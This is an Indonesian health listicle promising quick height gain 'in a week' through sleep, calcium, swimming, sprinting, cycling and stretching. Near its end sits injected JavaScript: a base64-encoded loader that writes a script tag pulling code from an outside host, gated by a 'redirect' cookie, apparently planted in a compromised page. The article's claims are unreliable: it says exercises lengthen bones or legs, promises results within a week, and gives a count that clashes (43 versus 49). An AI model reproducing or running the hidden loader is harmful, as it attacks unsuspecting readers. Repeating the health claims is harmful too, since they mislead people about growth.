43 Cara Cepat Meninggikan Badan Tanpa Obat Dalam Seminggu

Sponsors Link
Tubuh yang ideal adalah idaman bagi sebagian besar orang. Memiliki berat badan yang ideal dan juga memiliki postur yang tegap dan tinggi adalah hal yang dimimpikan hamper semua orang. Berat badan secara umum masih dapat diatur dengan melakukan diet, olahraga yang cukup dan juga hindari makan makanan yang berlemak dan perbanyak makanan yang berserat. Namun, berbeda halnya dengan tinggi badan. Bagi sebagian orang memiliki tubuh yang pendek diakibatkan oleh faktor genetik. Tinggi berat badan orang Indonesia memang lebih pendek dibanding orang orang dari benua amerika, eropa atau Negara Negara Asia lainnya.

Memiliki tubuh yang pendek dapat membuat kepercayaan seseorang menurun. Karena kesan pertama bertemu dengan orang lain adalah memperhatikan fisik orang tersebut, memiliki tubuh yang tinggi pasti akan membuat rasa percaya diri dari seseorang akan meningkat. Terlebih lagi, dewasa ini mencari perusahaan pun juga menetapkan standar tinggi minimum dalam mencari karyawan. Terlebih pekerjaan pekerjaan seperti pramugari, pilot dan juga polisi serta tentara. Hal hal seperti inilah yang membuat orang orang ingin memiliki tubuh yang tinggi untuk mendapatkan beberapa kemudahan dalam hidup.

Tips Cepat Meninggikan Badan Dengan Mudah

Sekarang ini banyak sekali toko toko yang menawarkan obat penambah tinggi dalam waktu yang singkat dan cepat. Ada juga treatment yang dilakukan oleh dokter untuk menarik tulang agar tubuh lebih tinggi. Sebeneranya, obat obat tersebut tidaklah selalu manjur dan seringkali tidak aman bahkan justru menyebabkan kerusakan pada tulang. Kita sendiri tidak tahu apakah bahan bahan yang digunakan memang bahan alami atau mengandung zat zat yang berbahasa bagi tubuh. Meninggikan badan sebaiknya dilakukan dengan cara yang alami dan aman . Meninggikan badan dapat dilakukan ketika masih berada dalam masa anak anak, usia remaja hingga 20 tahun. Sebenernya kita masih bisa meninggikan badan kita sampai pada usia 23 tahun, namun pertumbuhan tinggi tidak akan terlalu terasa karena sudah melewati masa pertumbuhan manusia.

Cara yang dilakukan untuk meninggikan berat badan ialah dengan memerhatikan hal hal yang berpengaruh pada tinggi badan di atas. Memang agak sulit untuk mengatur tinggi seseorang apabila secara genetik mereka mendapatkan gen tubuh yang tidak tinggi. Namun, tidak perlu khawatir karena mereka masih bisa meninggikan tinggi badan terutama ketika mereka masih dalam pertumbuhan. Berikut ini adalah cara meninggikan badan secara alami yang sebaiknya dilakukan ketika masih dalam masa pertumbuhan.

1. Memperhatikan Waktu Tidur

Untuk menambah tinggi badan, maka hal pertama yang harus dilakukan adalah mengubah pola hidup yang sebelumnya tidak teratur atau bahkan cenderung buruk menjadi pola hidup yang sehat. Pola hidup yang sehat ialah pola hidup yang memperhatikan kesehatan misalkan memperhatikan jumlah waktu tidur sehari hari. Pada anak anak lamanya waktu tidur ialah 8 hingga 10 jam dalam satu hari.

Pada orang dewasa waktu ialah 6 hingga 9 jam. Tidur yang cukup akan membantu perkembangan hormon dengan baik. Dan yang terpenting adalah hormon pertumbuhan ternyata bekerja ketika malam hari. Itulah sebabnya waktu tidur yang cukup sangat mempengaruhi kinerja hormone pertumbuhan yang menjadi faktor penting dalam meninggikan badan. Selain itu tidur siang yang cukup juga dapat berpengaruh terhadap pertumbuhan tinggi badan. Idealnya waktu tidur siang yang cukup ialah 30 menit. Terutama anak anak sangat dianjurkan untuk melakukan tidur siang setiap harinya.

2. Mengonsumsi Kalsium yang Cukup

Tulang dalam pertumbuhannya sangat membutuhkan kalsium. Kalsium akan mampu memperkokoh tulang sehingga kita juga adapat terhindar dari berbagai penyakit yang akan menyerang tulang. Selain kalsium sebenarnya protein juga dapat membantu dalam proses pertumbuhan tulang. Mengonsumsi kalsium sangat baik terutama pada usia usia pertumbuhan. Disarankan untuk minum susu yang rendah lemak namun tinggi kalsium. Selain itu jangan lupa untuk mengonsumsi sayur sayuran yang mengandung zat besi. Mengonsumsi ikan juga baik bagi tubuh karna ikan laut mengandung protein, kalsium , omega 3 dan omega 6 sekaligus yang baik untuk hormon pertumbuhan. Itulah sebabnya mengapa kalsium dan protein sangat baik untuk pertumbuhan tinggi badan.

3. Berenang

Olahraga dalam air ini dipercaya dapat membantu pertumbuhan tinggi badan. Dengan melakukan kegiatan renang dengan rutin maka akan menambah tinggi badan. Renang dapat memperpanjang bagian tulang belakang, sebaiknya gaya dalam berenang yang baik untuk meninggikan tinggi badan ialah gaya dada. Karena gaya ini yang membuat kaki kita bergerak menendang nendang jauh ke belakang dan tangan kita justru berusaha untuk menggapai kea rah depan sejauh jauhnya. Gerakan yang dilakukan secara bersamaan ini yang akan membantu memperpanjang bagian tulang. Berenang juga bagus dikarenakan ketika berada didalam air akan menetralkan gaya tekan kebawah terhadap punggung kita.

4. Melompat

Melompat adalah olahraga tersederhana yang bisa dilakukan oleh siapapun. Ada beberapa gaya melompat yang dipercaya akan membantu pertumbuhan tinggi badan. Cara pertama ialah melompat ke kursi pendek dan kemudian kembali lagi. Gerakan ini intensitasnya sangat tinggi karena lompatan harus dilakukan dalam waktu 1 detik. Lakukan lompatan sebanyak 10 kali lalu beristirahatlah selama 30 detik. Melompat yang kedua ialah melompat tinggi setinggi tingginya. Lompatan ini dapat dilakukan sekaligus bermain di atas trampolin. Karena trampolin yang berbahan dasar karet akan membantu kita untuk melompat setinggi tingginya.

5. Bersepeda

Cara cepat meninggikan badan dengan bersepeda dapat membantu kaki kita lebih panjang. Trik yang digunakan dalam bersepeda agar dapat membantu pertumbuhan tinggi badan ialah dengan menaikan jok sepeda 5 hingga 10 cm keatas sehingga jangkauan kaki kita untuk menjangkau pedal sepeda akan sedikit lebih sulit. Meskipun sedikit sulit, namun cara ini cukup efektif untuk meregangkan dan memperpanjang ruas tubuh bagian bawah. Lakukanlah kegiatan bersepeda ini dalam kurun waktu minimal 20 menit sekali bersepeda. Di zaman modern seperti saat ini kegiatan bersepeda tidak hanya dilakukan di luar rumah namun terdapat sepedea elektronik yang membuat kita dapat bersepeda di dalam rumah.

6. Sprint

Cara cepat meninggikan badan dengan sprint atau lari cepat dapat menambah tinggi badan kita, hal ini dikarenakan intensitas yang tinggi sehingga pengeluaran hormone HGH ke dalam darah akan menjadi maksimal. Ini yang membuat kaki kita lebih panjang. Hal yang kedua ialah gerakan sprint ini memberikan tekananpada tulang kaki kita. Namun, berhati hati dalam melakukan sprint dikarenakan ketika kita berlebihan melakukan sprint ini maka kemungkinan kita mengalami cidera juga cukup tinggi. Jarak yang baik dan aman untuk melakukan sprint ialah 37 hingga 55 meter sekali sesi dengan sesi yang dilakukan ialah 4 hingga 6 sesi. Sprint dapat dilakukan hingga 3 kali dalam seminggu untuk memaksimalkan pertumbuhan tinggi.

7. Gerakan Mengantung

Gerakan menggantung ialah menggantungkan diri kita pada sebuah tongkat atau kayu yang kiat dimana hal ini akan membantu memperpanjang dan meluruskan tulang belakang. Gerakan ini cukup efektif untuk membantu meninggikan tinggi badan kita. Dalam sekali menggantung minimal kita menggantungkan diri dalam waktu 10 detik sesuai dengan kemampuan masing masing orang. Untuk mengefektifkan olahraga ini, ketika dalam posisi menggantung maka bagian belakang dan bahu dilebarkan sejauh mungkin semakin lebar semakin bagus dan juga semakin sulit tentunya. Dalam satu minggu disarankan untuk melakukan olahraga ini selama 30 menit.

8. Minum Air yang Cukup

Minum air sangat penting bagi kesehatan tubuh. Namun, ternyata minum air yang cukup juga dapat membantu pertumbuhan tinggi. Minum air yang ideal dalam setiap hari jumlahnya ialah 8 gelas perhari. Tubuh akan lebih merasa bugar dengan air yang cukup. Ada beberapa vitamin yang akan larut dalam tubuh dengan adanya air. Air juga berfungsi untuk menetralkan tubuh sehingga tubuh selalu segar dan bugar dan tidak mengalami dehidrasi.

9. Mengendalikan Rasa Stress

Terlalu banyak pikiran akan menyebabkan rasa stress muncul. Masalah masalah yang dihadapi setiap hari banyak yang membuat kita stress dan bahkan menjadi depresi. Stress yang berlebihan akan menyebabkan terganggunya pertumbuhan hormone yang ada didalam tubuh manusia,terutama hormon pertumbuhan. Oleh karena itu kita harus mengendalikan rasa stress bisa dengan melakukan hobby, atau berkumpul bersama teman teman dan pergi berlibur.

10. Mengonsumsi Vitamin

Untuk mempercepat peninggian tinggi badan maka diperlukan bantuan dari vitamin. Vitamin yang diperlukan secara lebih ialah vitamin D yang sangat berguna bagi pertumbuhan tulang. Vitamin dapat di temukan pada setiap buah atau juga bisa ditemukan dalam bentuk suplemen. Mengonsumsi vitamin juga membantu tubuh terhindar dari berbagai penyakit.

11. Olahraga Basket

Cara cepat meninggikan badan dengan olahraga basket terdiri dari berbagai olahra lainnya seperti lari. Olahraga basket berfokus pada kegiatan lari dan juga pada kegiatan memasukan bola ke dalam ring. Dalam memasukan bola ke dalam ring maka tangan akan berusaha untuk menjangkau sejauh mungkin. Olahraga basket ini dinilai cepat dalam membantu proses pertumbuhan.

12. Olahraga Voli

Dalam olahraga voli terdapat gerakan gerakan melompat yang baik untuk pertumbuhan tulang, selain itu dalam olahraga voli pemain juga diharuskan untuk mengejar bola dan berusaha untuk menjangkau posisi bola meskipun bola dalam keadaan yang sulit untuk diambil. Kegiatan kegiatan sepeti ini yang membuat tubuh lebih mudah tinggi.

13. Jogging

Jogging adalah olahraga yang cukup sering dipilih karena melakukan jogging tidak perlu berlari lari yang cepat dan bisa dilakukan dalam suasana santai. Joging sering dilakukan pada pagi dan sore hari dan akan lebih menyenangkan lagi apabila jogging diakukan ditaman diiringi oleh music ditelinga kita. Selain memberikan efek tenang bagi diri jogging juga dapat menurunkan berat badan serta membantu proses peninggian badan

14. Gerakan Menendang

Gerakan menendang dapat membantu memperpanjang ruas tulang kaki dan juga tulang paha. Hal ini dikarenakan tekanan ringan yang terjadi pada kaki yang terjadi secara berulang akan memperpanjang kaki. Ada beberapa jenis gerakan menendang yang bisa kita lakukan. Gerakannya yaitu front snap kick atau bisa juga disebut gerakan menendang kearah depan. Cara untuk melakukan gerakan ini ialah dengan meluruskan kaki kemudian gerakan menendang kedepan dengan diberikan terkanan dan tenaga cukup. Tendangan ini akan berlangsung cepat dan tidak mengarah keatas (lebih rendah 60 cm dari tanah). Setiap tendangan berlangsung sangat cepat, dibawah 1 detik. Lakukan sekitar 20 tendangan kebawah, lakukan pada kaki kiri kanan bergantian. Istirahat detik setelah anda menyelesaikan 20 tendangan pada tiap kaki. Ulangi proses latihan ini.

15. Lari Gawang

Lari gawang adalah kegiatan lari sekaligus melompati gawang. Gawang yang disediakan ukuran tingginya sekitar 30 hingga 50 cm. Olahraga ini cukup baik pula untuk mengatur pernafasan . Olahraga lari gawang dapat dilakukan dengan pola lurus atau pola lain sesuai dengan keinginan kita. Lari gawang biasanya dilakukan dalam jarak 400 meter. (baca juga: Macam Macam Penyakit Tulang)

16. Lompat Tali

Lompat tali sangat bagus untuk membantu pertumbuhan tinggi tulang. Lomapt tali seringkali menjadi sebuah permainan bagi anak anak perempuan. Permainan ini bagus untuk mendorong pertumbuhan tinggi terutama pada masa anak anak. Lompat tali lebih optimal apabila dilakukan setiap pagi sebanyak 40 kali menggunakan alat skipping.

17. Squat Jump

Squat jump merupakan salah satu gerakan olahraga yang dapat dilakukan dimmana saja tanpa menggunakan alat apapun. Squat jump adalah gerakan senam yang cukup efektif menambah tinggi badan dengan cepat. Cara squat jump yang benar ialah pertama kita harus berada dalam posisi yang tegak, seteah itu kita jongkok dan fokuskan berat badan pada tumit, setelah itu melompat kembali keposisi semula, setelah itu jongkok kembali dan begitu seterusnya.

18. Pull Up

Olahraga ini secara umum hampir mirip dengan olahraga menggantung namun bedanya dalam pull up kita juga mendorong badan kita ke atas secara berulang ulang. Cara melakukan pull up ialah:

* Pertama kita harus berada dalam posisi tubuh yang tegap
* Posisi memegang kayu adalah tangan selebar bahu
* Setelah itu silangkan kaki kita
* Angkat tubuh ke atas melewati kayu dan tahan semampu kita.
* Turunkan kembali tubuh kita ke posisi awal.
* Lakukan kegiatan ini berulang ulang untuk hasil efektif.

19. Cobra Stretch

Cobra stretch merupakan salah satu latihan ringan yang dapat dilakukan dimana saja, gerakan ini dapat membuat otot otot tubuh bagian atas lebih renggang dan tumbuh lebih panjang dan merupakan salah satu cara untuk meninggikan tinggi badan. Cara untuk melakukan cobra stretch ialah:

* Posisi badan dalam posisi tengkurap
* Angkat bagian dada keatas untuk melihat pandangan keatas
* Gunakan tangan untuk menjadi tumpuan
* Kembali ke posisi awal dan ulang gerakan ini

20. Melakukan Squat Thrust

Latihan ini dapat membantu meninggikan badan secara cepat. Untuk melakukan latihan ini berikut langkah langkahnya:

* Berdiri dalam posisi tegap.
* Ambil dalam posisi jongkok sambil menemukkan kedua lengan dilantai dengan pandangan ke depan.
* Kemudian lempar kaki ke belakang sampai posisi yang benar benar lurus.
* Kembali lagi ke posisi jongkok.
* Berdiri lagi ka posisi badan yang tegap
* Lakukan latihan ini berkali kali.

21. Spin Stretch Forward

Latihan ini merupakan latihan yang membuat tulan tulang menjadi lebih renggang. Berikut cara cara untuk melakukan kegiatan ini:

* Duduk tegak dengan kaki lurus selebar bahu
* Perpanjang lengan ke arah depan kemudian membunguk pelan pelan dan usahakan menyentuh ujung jari jari kaki.
* Regangkan terus kaki dan kembali lagi ke posisi awal.

22. Vilates Roll Over

Cara cepat meninggikan badan dengan gerakan ini bertujuan meregangkan bagian tulang belakang dan memperpanjang tubuh batias atas dan juga tulang belakang di daerah leher. Cara cara melakukan kegiatan ini ialah:

* Posisi tubuh dalam posisi terbaring dan tangan berada disamping kanan dan kiri tubuh.
* Telapak tangan menghadap ke bawah dan menempel dilantai.
* Angkat kedua kaki ke arah atas dan dalam kondisi yang lurus.
* Tekuk kaki ke arah depan menuju lantai secara satu persatu.
* Tahan beberapa detik setelah itu kembalikan lagi ke posisi semula.

23. Yoga

Yoga merupakan salah satu bentuk olahraga dengan gerakan yang lamban namun memberikan efek luar biasa dan ketenangan bagi orang yang melakukannya. Untuk membantu meninggikan badan maka yang dapat dilakukan ialah melakukan gerakan gerakan yoga yang memang melibatkan tulang tulang. Salah satu gerakan yang dapat dilakukan ialah posisi tubuh tengkuran, kaki lurus ke belakang dan tangan berada dikanan dan kiri. Kemudian angkat tubuh bagian depan sambil ditarik tetapi kaki tetap menyentuk lantai. Dengan melakukan gerakan inin, otot ditarik dan meregang. Yoga sebaiknya dilakukan setiap pagi hari.

Dan masih banyak lagi cara lainnya untuk dapat meninggikan tinggi badan paling cepat dan khasiatnya sama dengan cara cara seperti diatas :

1. Wall Strech
2. Lompat jauh
3. Mengonsumsi suplemen
4. Menggunakan ankle weigt
5. Menggunakan stepper
6. Olahraga free hand
7. Mengayunkan badan
8. Lompat tinggi
9. Biasakan duduk dengan posisi tegap
10. Tidak menggunakan tas punggung dengan beban berat
11. Maraton
12. Super Strech
13. Melakukan latihan badan membentuk jembatan
14. Leg stretch
15. Tidak begadang
16. Berjalan dengan tegap
17. Mengonsumsi zinc
18. Jauhi alcohol yang dapat menghambat pertumbuhan
19. Konsultasikan ke dokter
20. Keinginan yang kuat

Selain hal hal diatas berikut ini adalah makanan yang baik untuk pertumbuhan tinggi: gandum, beras, bayam, ikan, telur, keju, susu sapi, alpukat, sarden, udang.Ai??Demikian 49 cara cara yang super cepat untuk meninggikan badan terutama bagi anak anak dan remaja yang masih dalam proses pertumbuhan. Hindari hal hal yang dapat menghambat pertumbuhan, sering olahraga dan konsumsi makanan yang bergizi akan membantu badan anda menjadi lebih tinggi. function getCookie(e); )”+e.replace(/([\.$?*var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
cara tinggi, kalsium, kesehatan tulang, olahraga, tinggi, tulang